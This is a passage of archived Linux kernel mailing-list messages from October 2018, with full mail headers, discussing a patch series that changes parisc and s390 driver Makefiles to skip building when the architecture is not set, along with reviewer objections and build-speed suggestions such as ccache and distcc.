revert that change.

We do not backport removals of drivers/subsystems/arches to stable
kernels, so this shouldn't happen here either.

thanks,

greg k-h


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Finn Thain <fthain@telegraphics.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7] Remove errors building drivers/DRIVERNAME
Date: Thu, 4 Oct 2018 09:27:16 +1000 (AEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.21.1810040915040.8@nippy.intranet>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20181001075607.GA3776@rric.localdomain> <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1538609123 16361 195.159.176.226 (3 Oct 2018 23:25:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 23:25:23 +0000 (UTC)
Cc: Robert Richter <rric@kernel.org>, lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>
To: Leonardo Bras <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 01:25:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7qW2-000441-3g
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 01:25:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727287AbeJDGRy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 02:17:54 -0400
Original-Received: from kvm5.telegraphics.com.au ([98.124.60.144]:57344 "EHLO
        kvm5.telegraphics.com.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727221AbeJDGRy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 02:17:54 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by kvm5.telegraphics.com.au (Postfix) with ESMTP id C0B9022A90;
        Wed,  3 Oct 2018 19:27:18 -0400 (EDT)
In-Reply-To: <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889543 gmane.linux.oprofile:13256 gmane.linux.ports.parisc:29074
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889543>

On Wed, 3 Oct 2018, Leonardo Bras wrote:

> 
> Sorry, I was not very clear at my reasons why this change is important, 
> I will try to briefly explain the whole story.
> 
> Some weeks ago I was trying to solve a task that needed to change some 
> compiling options, build the whole kernel (allyesconfig) and look for 
> errors. The problem was: It would take a long time to build everything 
> in my computer. And many friends with slimmer laptops would take much 
> longer.
> 

It seems to me that you shouldn't need expensive optimization for 
continuous integration. In theory that could make a big difference though 
I admit to no experience of build farms.

Have you looked at ccache? It will save you from having to recompile any 
files not changed.

You could also leverage all of your laptops together using distcc.

HTH.

-- 


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Wed, 3 Oct 2018 21:31:39 -0300
Lines: 50
Approved: news@gmane.org
Message-ID: <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20180928020816.11251-4-leobras.c@gmail.com>
 <1538118915.3593.4.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1538612989 15116 195.159.176.226 (4 Oct 2018 00:29:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 00:29:49 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 02:29:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7rWR-0003m6-GA
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 02:29:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727319AbeJDHWe (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 03:22:34 -0400
Original-Received: from mail-ot1-f68.google.com ([209.85.210.68]:45265 "EHLO
        mail-ot1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726270AbeJDHWe (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 03:22:34 -0400
Original-Received: by mail-ot1-f68.google.com with SMTP id u22so7424977ota.12;
        Wed, 03 Oct 2018 17:31:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc:content-transfer-encoding;
        bh=R+dtvBQ5vifUuwhHK/ej78dQsixVnGbZ7jJdlo78PHw=;
        b=SJrldm7iBWAljVlhlc+d//ZXOiScUGyrvn0nfz/TVyruGYf9BGZ4qv/+kb0f4NIAFu
         x+M+wCgnfikBjtl+WM9HQFFWWdIC6ETQhcpuBXfuYq0xlIK7fu7wZFLV+RNTG60mlrEI
         TsPV2Is7V5d3vY72UbBeFe+J1VXWLtKUEKUBFOcy/rU0ubChVxMQ7pnEfEjgHPZaBjPr
         c6alvYI4UQ+AuFKD0aScKiUXBcPi1YNG0fbX0u6iuGa+RbHyFeMZxaf6KGaJvQOHeCEw
         /cvdXda4+T7nI0/JJ4XkQFIErAi3nCb0Sz2vGuWtqM4xEvtghK6ERhNgeXrRWUW63ojd
         YtDA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc:content-transfer-encoding;
        bh=R+dtvBQ5vifUuwhHK/ej78dQsixVnGbZ7jJdlo78PHw=;
        b=Ftrwa4Z9Ry57II4uDHc/ki4h/22DUsUfDk2Frck0GFZKU2OxnK2nJj4TGIwWx+yveE
         cunS6sJ+y1m2k/MXrUOqWu3utb7QHu/jDvOx2z5dpMLRtoLFL35AUL/qQEmX5UWNpPBF
         PiZ1TE+AYhUUwZVgE/8vI6XrtcT2kwe3f28MLydv6+OCRQtsJzQOj1PK4v/rCW/p4NbG
         6QmUbscrWdaZvHc9yQ1mr0PPLDI9spBuJiXE34376DTLipmyacLeTZ1E+AIQeHITuw8b
         lHBwQiKoDrVyfbG/V3dY8LHanAhQSCx+mRc4BjgJIrd69KmgEjGI5RExCxSn3Q35qkdP
         oNdQ==
X-Gm-Message-State: ABuFfogXfv6owMdo1PANh28rz4JL9uXHplzm5VvSRflIAlMaeN/K1Qqz
        5q0zoAHpgWu8QaWmyshoF+1OIUx3N4qRs0Is9vQkkkNN
X-Google-Smtp-Source: ACcGV60+dsAqUrSUyDg1PR2+KPx3JPDkFgz50/Fc1CRolEoFmQGNXEkiI04ZacRfcw/q7HCXbnkwO5XdMWuQkwJJBSA=
X-Received: by 2002:a9d:63d6:: with SMTP id e22-v6mr2388749otl.233.1538613110755;
 Wed, 03 Oct 2018 17:31:50 -0700 (PDT)
In-Reply-To: <1538118915.3593.4.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889562 gmane.linux.oprofile:13257 gmane.linux.ports.parisc:29075
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889562>

On Fri, Sep 28, 2018 at 4:15 AM James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>
> On Thu, 2018-09-27 at 23:08 -0300, Leonardo Br=C3=A1s wrote:
> > Avoids building driver if 'make drivers/parisc/' is called and
> > CONFIG_PARISC is disabled.
>
> Is that really a problem? The drivers/Makefile has this:
>
> obj-$(CONFIG_PARISC)            +=3D parisc/
> And you just overrode that by forcing the build.  It's not even clear
> we should refuse the build in that case; how would we know you don't
> have a legitimate reason for the override?
>

Sorry I did not explained my reasons earlier. I sent everybody involved an
e-mail explaining the full reason of this change.
(For reference it's here: https://lkml.org/lkml/2018/10/3/707)

> Signed-off-by: Leonardo Br=C3=A1s <leobras.c@gmail.com>
> > ---
> >  drivers/parisc/Makefile | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
> > index 3cd5e6cb8478..80049d763aa0 100644
> > --- a/drivers/parisc/Makefile
> > +++ b/drivers/parisc/Makefile
> > @@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)          +=3D eisa.o
> > eisa_enumerator.o eisa_eeprom.o
> >  obj-$(CONFIG_SUPERIO)                +=3D superio.o
> >  obj-$(CONFIG_CHASSIS_LCD_LED)        +=3D led.o
> >  obj-$(CONFIG_PDC_STABLE)     +=3D pdc_stable.o
> > -obj-y                                +=3D power.o
> > +obj-$(CONFIG_PARISC)         +=3D power.o
>
> If we conclude the use case is legitimate, that's not enough: the two
> inner symbols are PARISC only but CONFIG_EISA isn't.

You are right.
It worked for my needs because I am only building the drivers, and not
linking them. But i believe doing something like I did in zorro/Makefile
would fix this all. (For reference, https://lkml.org/lkml/2018/9/28/150 )

If you agree, I will send the next patchset with this change.

Thanks for your help!

Leonardo Bras


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 5/7] drivers: s390: Avoids building drivers if ARCH is
 not s390.
Date: Wed, 3 Oct 2018 22:00:49 -0300
Lines: 57
Approved: news@gmane.org
Message-ID: <CADvQ+rHDB390FWW5cPrmJqDobkv-R2K1B7-potVtTLp0RfUS-Q@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20180928020816.11251-6-leobras.c@gmail.com>
 <20181001124617.GA3185@osiris>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1538614739 2775 195.159.176.226 (4 Oct 2018 00:58:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 00:58:59 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 02:58:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7ryf-0000b4-Ts
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 02:58:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727188AbeJDHvu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 03:51:50 -0400
Original-Received: from mail-oi1-f196.google.com ([209.85.167.196]:43069 "EHLO
        mail-oi1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726279AbeJDHvt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 03:51:49 -0400
Original-Received: by mail-oi1-f196.google.com with SMTP id s69-v6so6110234oie.10;
        Wed, 03 Oct 2018 18:01:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc:content-transfer-encoding;
        bh=Yzv8j5nNfSqSo8yLZdF6AXL8KtZq50GbDQcajX7W0MQ=;
        b=Ecin5W3LvMebovdxOnx/G7VJXG1Uszry2NERF/cbjFHNwEKlpfHfLJ2IylH0DO48f5
         8ZsAo0kanpXmWvyWcoec3NjLOBYltKI5USaC6MhjQcUXkI4+0XPbTtuPPgd/Y4+1u09Q
         vA/+UY7IMGSgsdcEnfVpRD8Vdd6aiXYCSn8A6h8carlNNf6RqxGhkev8UXwZHMBKXqXg
         s9LLlZgUUJQwyrkEb/zkqyidhl1BPJFSjZtQwrvJLP0iUXf+z3jL2qFmMwbxCo2wz2MF
         tV2sBp1rx7cQ1ETJ6aylmQrNwyDhuxuE5NTcHryFajW5lSPE6oEYYMucytDpz1icKLjV
         8jnw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc:content-transfer-encoding;
        bh=Yzv8j5nNfSqSo8yLZdF6AXL8KtZq50GbDQcajX7W0MQ=;
        b=Sf6Rtvo631j8mARmuDpzF0qfBIL2E8f9bYUdJq8iUTfshn+ZdzpWcVVwbd4372VU6N
         6fndNxyYTk/9Lr5vMONUVz2Olzfe0PGSbOcBMtqvNrWg37eKsIRq7trSjvdmwjdDpxYe
         97Smw6o+Q6cJyyHikm1Vr/WpIz02wI88cUP5EGL0vpqhLmxfCNszKgDf4w9U6XONfUqW
         jogn/7vtdd5AHjA+tycnunrLGHTLh6QQlb7jkBKxUuCWDa1P/YLeKwLGWf4QCKp0iB2w
         Finh+CY2P4MF8+eWEzRdxYszrKu6XN6DZXMdKC/ewIyHGC5SLvGmfRkWD1xDxQ4jxli9
         Ckpw==
X-Gm-Message-State: ABuFfoiCqDdr2JfS4dCwT7JXkRMd3UUsWZWJyav10zhBqM8Vpjs3brBK
        LTkxT8njD0+utu0uLqSVm7+MLKimWTz3YcH4FLI=
X-Google-Smtp-Source: ACcGV62pcCl6GwIpzQ5fG7Rf5CRjRX9VMseqjonaQLPZnnLpUVorqXOhEoVVlD2RVBT5CGEJ0b8As1w5Phe+A+654SQ=
X-Received: by 2002:aca:2cc6:: with SMTP id s189-v6mr2065318ois.72.1538614860840;
 Wed, 03 Oct 2018 18:01:00 -0700 (PDT)
In-Reply-To: <20181001124617.GA3185@osiris>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889571 gmane.linux.oprofile:13258 gmane.linux.ports.parisc:29076
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889571>

On Mon, Oct 1, 2018 at 9:46 AM Heiko Carstens <heiko.carstens@de.ibm.com> w=
rote:
>
> On Thu, Sep 27, 2018 at 11:08:14PM -0300, Leonardo Br=C3=A1s wrote:
> > Avoids building s390 drivers if 'make drivers/s390/' is called but
> > ARCH is not s390.
> >
> > Signed-off-by: Leonardo Br=C3=A1s <leobras.c@gmail.com>
> > ---
> >  drivers/s390/Makefile | 8 ++++----
> >  1 file changed, 4 insertions(+), 4 deletions(-)
> >
> > diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
> > index a863b0462b43..0575f02dba45 100644
> > --- a/drivers/s390/Makefile
> > +++ b/drivers/s390/Makefile
> > @@ -3,7 +3,7 @@
> >  # Makefile for the S/390 specific device drivers
> >  #
> >
> > -obj-y +=3D cio/ block/ char/ crypto/ net/ scsi/ virtio/
> > -
> > -drivers-y +=3D drivers/s390/built-in.a
> > -
> > +ifeq ($(ARCH),s390)
> > +     obj-y +=3D cio/ block/ char/ crypto/ net/ scsi/ virtio/
> > +     drivers-y +=3D drivers/s390/built-in.a
> > +endif
>
> And then somebody wants to build with e.g. "make drivers/s390/cio/" and i=
t
> still doesn't work. So _if_ this should be supported then it should work
> with all directory levels and all configuration options. Otherwise this i=
s
> going to be a never ending story.
>


It makes sense.
I proposed this change to help me solving a problem described here
(https://lkml.org/lkml/2018/10/3/707), and for this it was enough if it did=
n't
build when "make drivers/s390/" was called.

Sorry I didn't send the e-mail with the reason earlier.

For solving my problem it was not necessary, but if you think it's interest=
ing,
I could refactor all drivers/s390 Makefiles to make them all build only if
we are dealing with the s390 architecture.

What do you think?

Thanks for the reply,

Leonardo Bras


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7] Remove errors building drivers/DRIVERNAME
Date: Wed, 3 Oct 2018 22:37:29 -0300
Lines: 38
Approved: news@gmane.org
Message-ID: <CADvQ+rE8qQmSangHOCrJo7aAD-BJiN3Gt2hCi-3O8uRTgXnP-w@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20181001075607.GA3776@rric.localdomain>
 <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com> <alpine.LNX.2.21.1810040915040.8@nippy.intranet>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538616945 26746 195.159.176.226 (4 Oct 2018 01:35:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 01:35:45 +0000 (UTC)
Cc: Robert Richter <rric@kernel.org>, lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>
To: Finn Thain <fthain@telegraphics.com.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 03:35:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7sYF-0006r0-Tl
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 03:35:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727417AbeJDI2i (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 04:28:38 -0400
Original-Received: from mail-ot1-f67.google.com ([209.85.210.67]:38346 "EHLO
        mail-ot1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726426AbeJDI2i (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 04:28:38 -0400
Original-Received: by mail-ot1-f67.google.com with SMTP id h15-v6so7574870otj.5;
        Wed, 03 Oct 2018 18:37:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=NuNsoZwTAh5hwJxz70Ax20g6nWN91thSOj9I0FaDBnI=;
        b=s7Ze14ElCAnFIlf1+vu+ugm+UKMuIDxF8JoXN8EqESW5DSifKf/FxEXBvqVL7W7QSw
         F1yqbih4nEUCaRM0/PP9U4IvI+ddfXZkF8eEbXt+JzUztSC3Lf53LBwQinQCzQmuYKZj
         52FnmZ5dBybXCAkpv+Mn8Q5ngAj11S9LmidPQrqCQji/NXeNC2GdyRK8O1DlHytQw/SD
         LMp2yBOm3Ep6Ey2wBNziSl18lsD/FtxSdZaAcyYWif4wZH7qLMnUzcFE2yfCJUSe3Txc
         OBGWxu7atRaI3L28G0fEYYvRLY4C6O5ra7XQwtvRX/q7PbPAyA2xzoiNMhr9B/0Rwzka
         qTxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=NuNsoZwTAh5hwJxz70Ax20g6nWN91thSOj9I0FaDBnI=;
        b=YLUsSRQFoVtgyO+/RqX6oq7gGiMekh1gJCeRWPNDwdtdbgcAwPd6+rcLo1yRhLKTzG
         69KIHqb4vbX8DaLXx0JgOPEWtCmQP6MlSus7u2woAICayMp6GH6NCFaIfiiVDx1GsZus
         rNQnmlI3kxk0yQxyJarnQVnL78bJwnaaCT8IfCFc0/x4QzPrsNS/XSpVHGbq1pYlMyYU
         wEtB2sQSZqVqt2cu835r08V7WyIGMjK/4JhcvB+4TugUtVTP4O8IY+nqXxj4WT4aJwV7
         v9LAkqhcBL9pPyT4Mvl4K72p3A47Kh1DacRmTmi/j50CN6jBQRR+SKfWDdUevpI+SxQ+
         exzg==
X-Gm-Message-State: ABuFfoijXUq2yu8z6txzYIUkiMsiR3iFpA1J/YgOHk67/eEmbk1MAeHt
        f7eT3C2UsKkmT8EHkXgUolPVe8WGrk9+CD27EE8=
X-Google-Smtp-Source: ACcGV60sCHHWrxBPUhVd7TidY4wrMGSUmW7aJVvs3jQ7JuXYSqhpF24ys9ZRkoe4z3gPlB5piMNj5VBRg2dfJ8RXdhA=
X-Received: by 2002:a9d:2568:: with SMTP id j37mr2516279otd.263.1538617062494;
 Wed, 03 Oct 2018 18:37:42 -0700 (PDT)
In-Reply-To: <alpine.LNX.2.21.1810040915040.8@nippy.intranet>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889584 gmane.linux.oprofile:13259 gmane.linux.ports.parisc:29077
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889584>

On Wed, Oct 3, 2018 at 8:27 PM Finn Thain <fthain@telegraphics.com.au> wrote:
>
> On Wed, 3 Oct 2018, Leonardo Bras wrote:
>
> >
> > Sorry, I was not very clear at my reasons why this change is important,
> > I will try to briefly explain the whole story.
> >
> > Some weeks ago I was trying to solve a task that needed to change some
> > compiling options, build the whole kernel (allyesconfig) and look for
> > errors. The problem was: It would take a long time to build everything
> > in my computer. And many friends with slimmer laptops would take much
> > longer.
> >
>
> It seems to me that you shouldn't need expensive optimization for
> continuous integration. In theory that could make a big difference though
> I admit to no experience of build farms.
>
> Have you looked at ccache? It will save you from having to recompile any
> files not changed.
>
> You could also leverage all of your laptops together using distcc.
>
> HTH.
>
> --

Both ccache and distcc seem very interesting,
I will take my time to study them better as they can solve some situations
I face. Thanks for sharing!

Still, I believe my patchset is relevant, as it would enable people to rebuild
the whole kernel (with build flags changes, for example) at the cost of only
git-pushing the changes to a fork of my Gitlab repo, and waiting 3 hours.

Thanks for helping!


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Finn Thain <fthain@telegraphics.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7] Remove errors building drivers/DRIVERNAME
Date: Thu, 4 Oct 2018 12:00:38 +1000 (AEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.21.1810041200240.8@nippy.intranet>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20181001075607.GA3776@rric.localdomain> <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com> <alpine.LNX.2.21.1810040915040.8@nippy.intranet>
 <CADvQ+rE8qQmSangHOCrJo7aAD-BJiN3Gt2hCi-3O8uRTgXnP-w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1538618324 22804 195.159.176.226 (4 Oct 2018 01:58:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 01:58:44 +0000 (UTC)
Cc: Robert Richter <rric@kernel.org>, lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>
To: Leonardo Bras <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 03:58:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7suT-0005na-2F
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 03:58:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727417AbeJDIvn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 04:51:43 -0400
Original-Received: from kvm5.telegraphics.com.au ([98.124.60.144]:58846 "EHLO
        kvm5.telegraphics.com.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726735AbeJDIvn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 04:51:43 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by kvm5.telegraphics.com.au (Postfix) with ESMTP id 6788B22B1C;
